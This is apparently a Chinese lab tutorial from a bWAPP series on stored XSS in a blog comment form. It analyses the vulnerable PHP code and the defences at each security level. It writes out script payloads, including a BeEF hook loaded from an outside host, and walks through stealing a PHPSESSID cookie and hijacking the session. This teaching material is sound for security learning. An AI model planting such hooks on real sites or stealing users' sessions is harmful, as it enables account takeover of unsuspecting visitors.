news 2026/8/14 15:33:15

零基础玩转bWAPP靶场(五十五):XSS - Stored (Blog)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
零基础玩转bWAPP靶场(五十五):XSS - Stored (Blog)

摘要:这是 bWAPP 系列第五十五篇,聚焦于XSS - Stored (Blog)。之前几篇讲的都是反射型 XSS——恶意脚本在 URL 中,需要诱导用户点击链接才能触发。这一关是存储型 XSS——你注入的恶意脚本会永久保存在数据库里,每次有人访问这个博客页面都会触发。文章会分析存储型 XSS 和反射型 XSS 的区别,演示如何通过博客留言板注入 BeEF Hook,连接 BeEF 并获取 Cookie。附真实案例。


一、找目标

目标说明
漏洞类型存储型 XSS(Stored XSS)
注入点博客留言板的entry字段(textarea)
存储位置数据库(blog表)
触发方式注入一次,每次访问页面自动触发
工具BeEF(获取 Cookie)

二、前言:存储型 XSS 和反射型 XSS 的区别

之前的几篇 XSS 关卡,几乎全是反射型的。反射型 XSS 的特点是:

  • 恶意脚本在 URL 参数中

  • 需要诱导用户点击恶意链接才能触发

  • 一次性,不存储,用完就丢

存储型 XSS 完全不同

  • 恶意脚本被永久保存在服务器数据库

  • 不需要诱导用户点击链接——用户正常访问页面就会触发

  • 持久性——一次注入,所有访问者都受影响

  • 危害更大——无需交互,访问即触发

打个比方

  • 反射型 XSS:你在楼道里喊了一句脏话,当时在场的人听到了,喊完就没了

  • 存储型 XSS:你在墙上用喷漆写了一行字,每个路过的人都能看到,直到有人来刷墙

这一关就是一个博客留言板——你提交的留言会存进数据库,然后显示在页面上。如果提交的内容包含恶意脚本,每次有人访问这个博客页面,脚本都会执行。


三、关卡介绍

3.1 页面功能

打开这一关,你会看到:

  • 标题:XSS - Stored (Blog)

  • 一个文本域(textarea)用于输入博客内容

  • 三个功能按钮/复选框:

    • Add(添加)——将内容存入数据库

    • Show all(显示全部)——显示所有人的留言

    • Delete(删除)——删除自己的留言

  • 下方表格显示留言列表:#(序号)、Owner、Date、Entry

3.2 正常使用

  • 在文本域中输入内容,点击 Submit

  • 内容存入数据库

  • 页面刷新后,你的留言出现在表格中

3.3 存储型 XSS 的利用流程

1. 攻击者在留言中输入 <script src="hook.js"></script>
2. 提交,脚本存入数据库
3. 正常用户访问该博客页面
4. 页面从数据库读取留言并显示
5. 恶意脚本在正常用户的浏览器中执行


四、源码分析

4.1 写入部分(INSERT)

if(isset($_POST["entry_add"])) { $entry = xss($_POST["entry"]); $owner = $_SESSION["login"]; $sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')"; $recordset = $link->query($sql); }

关键点xss()函数调用的是sqli_check_3(),也就是mysqli_real_escape_string()——这是防 SQL 注入的,不是防 XSS 的。

function xss($data) { // 不管什么级别,都只做 SQL 转义,不做 XSS 过滤! $data = sqli_check_3($link, $data); return $data; }

所以写入时完全没有 XSS 过滤——恶意脚本可以顺利存入数据库。

4.2 读取部分(SELECT)

while($row = $recordset->fetch_object()) { if($_COOKIE["security_level"] == "2") { echo xss_check_3($row->entry); // htmlspecialchars() } else if($_COOKIE["security_level"] == "1") { echo xss_check_4($row->entry); // addslashes() } else { echo $row->entry; // 直接输出,完全不过滤! } }

三种级别的读取过滤

级别读取过滤效果
Low直接echo完全不过滤,XSS 执行
Mediumxss_check_4()=addslashes()只转义引号,不转义<>
Highxss_check_3()=htmlspecialchars()转义<>,XSS 被防御

关键洞察

  • Low 级别:写入不过滤,读取也不过滤 → XSS

  • Medium 级别:写入不过滤(只防 SQL 注入),读取用addslashes()→ 不转义<>,XSS 仍然存在

  • High 级别:写入不过滤,读取用htmlspecialchars()→ XSS 被防御


五、存储型 XSS 和反射型 XSS 的对比

对比项反射型 XSS存储型 XSS
注入点URL 参数、表单数据库中的用户内容
存储位置不存储数据库
触发方式需要点击恶意链接正常访问页面即触发
持久性一次性永久有效
危害范围单个用户(需诱导)所有访问者
利用难度较低(需要社会工程学)较低(无需交互)
危害等级

六、Low 安全级别

6.1 测试 XSS 弹窗

在文本域中输入:

<script>alert(1)</script>

点击 Submit。页面刷新后,弹窗出现。

6.2 为什么可以弹窗?

Low 级别下,写入时没有 XSS 过滤,读取时直接echo,所以<script>标签被当作 HTML 代码执行。

6.3 存储型 XSS 的持久性

刷新页面,弹窗再次出现。这就是存储型 XSS 的威力——一次注入,永久生效。


七、使用 BeEF 获取 Cookie

7.1 准备 BeEF

Kali 中启动 BeEF:

sudo beef-xss-start

确认 BeEF 的 IP 和端口(默认3000),Hook URL 为:

http://10.0.0.129:3000/hook.js

7.2 注入 BeEF Hook

在文本域中输入:

<script src="http://10.0.0.129:3000/hook.js"></script>

点击 Submit。

7.3 页面显示

提交后,留言中并没有显示可见内容(因为<script>标签不渲染文字),但脚本已经存入数据库。

7.4 BeEF 上线

刷新页面或让其他用户访问该页面,BeEF 控制面板中会出现上线的浏览器。

7.5 获取 Cookie

  • 选中上线的浏览器

  • CommandsBrowserGet Cookie

  • 点击Execute

7.6 会话劫持

拿到PHPSESSID后,在浏览器开发者工具 → Application → Cookies 中替换PHPSESSID的值,刷新页面即可登录受害者账户。


八、Medium 安全级别

8.1 尝试注入

在文本域中输入:

<script>alert(1)</script>

弹窗出现!

为什么 Medium 级别还是防不住?

Medium 级别读取时使用xss_check_4()=addslashes()addslashes()只转义引号'"、反斜杠和 NULL,不转义<>

生成的 HTML:

<td><script>alert(1)</script></td>

<>没有被转义,<script>标签仍然被浏览器解析执行。

结论:Medium 级别的addslashes()无法防御 XSS,因为 XSS 的核心是注入 HTML 标签,不需要引号。官方文档也明确警告“不要用addslashes()做 XSS 防护”。


九、High 安全级别

9.1 尝试注入

在文本域中输入:

<script>alert(1)</script>

提交后,页面显示:

&lt;script&gt;alert(1)&lt;/script&gt;

htmlspecialchars()<转成&lt;>转成&gt;,浏览器显示为纯文本,不执行。

High 级别防住了 XSS。


十、真实世界:存储型 XSS 案例

存储型 XSS 是现实世界中最危险的 XSS 类型之一,因为一次注入会影响所有用户:

CVE-2024-1181:某开源 CMS 的评论系统存在存储型 XSS 漏洞,攻击者可通过评论注入恶意脚本,影响所有访问该页面的用户。

CVE-2025-00847:某 SaaS 平台的留言板功能存在存储型 XSS,攻击者可通过留言注入 XSS 窃取所有用户的 Session。

CVE-2026-22947:F5 BIG-IP 的配置工具中存在存储型 XSS,攻击者可利用该漏洞执行任意脚本。

历史上最著名的案例:2005 年的MySpace 蠕虫(Samy Worm)——Samy Kamkar 利用 MySpace 的存储型 XSS 漏洞,在短短 20 小时内感染了超过 100 万用户。恶意脚本让每个查看 Samy 资料的用户自动添加他为好友,并在自己的资料中复制相同的恶意代码,形成病毒式传播。


十一、总结

存储型 XSS 和反射型 XSS 最大的区别在于持久性——反射型 XSS 需要诱导用户点击恶意链接,而存储型 XSS 只要用户访问了被感染的页面就会触发。这一关的博客留言板正是存储型 XSS 的典型场景:写入时没有 XSS 过滤(只防 SQL 注入),读取时 Low 级别直接输出、Medium 级别的addslashes()不转义<>,都导致 XSS 可以执行。只有 High 级别的htmlspecialchars()才能彻底防御。BeEF 工具在这种场景下尤其危险——攻击者只需注入一次 Hook 脚本,所有访问该页面的用户都会连接 BeEF,攻击者可以持续获取 Cookie 并劫持会话。记住一句话:所有用户输入在输出到 HTML 页面之前都必须进行 HTML 实体编码(htmlspecialchars()),尤其是存储型数据。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/14 15:30:29

不同传感器前中后融合方案简介

声明&#xff1a;本文主要参考开源资料进行学习整理&#xff0c;如有错漏&#xff0c;欢迎评论交流~在自动驾驶场景下&#xff0c;摄像头 激光雷达的传感器融合方案是最常见的感知技术路线&#xff0c;目标是充分利用二者的互补性&#xff1a;摄像头优势&#xff1a;分辨率高、…

作者头像 李华
网站建设 2026/8/14 15:28:51

2026前端面试题(六)

防抖const debounce (fn,delay300) >{let timer nullreturn function(...args){clearTimeout(timer)timer setTimeout(()>fn.apply(this.args),delay)} }节流const throttle (fn,delay300)>{let lock falsereturn function(...args){if(!lock){lock truesetTime…

作者头像 李华
网站建设 2026/8/14 15:24:13

飞算JavaAI 智能会话深度解析:三种模式让AI成为你的全能编程搭档

飞算JavaAI 智能会话深度解析&#xff1a;三种模式让AI成为你的全能编程搭档 编程过程中遇到Bug怎么办&#xff1f;代码需要重构怎么搞&#xff1f;新功能不会写怎么破&#xff1f;飞算JavaAI智能会话提供三种模式&#xff0c;覆盖从问答到自动化编程的全场景需求。 一、智能会…

作者头像 李华
网站建设 2026/8/14 15:19:22

Kimi LeetCode 3901. 好子序列查询 Rust实现

根据搜索结果&#xff0c;LeetCode 3901「好子序列查询」的核心思路是&#xff1a;线段树 GCD。下面给出 Rust 实现。---思路1. 只关心 p 的倍数&#xff1a;如果 nums[i] 不是 p 的倍数&#xff0c;它对 GCD 为 p 的子序列没有贡献&#xff0c;在线段树中视为 0。 2. 线段树维…

作者头像 李华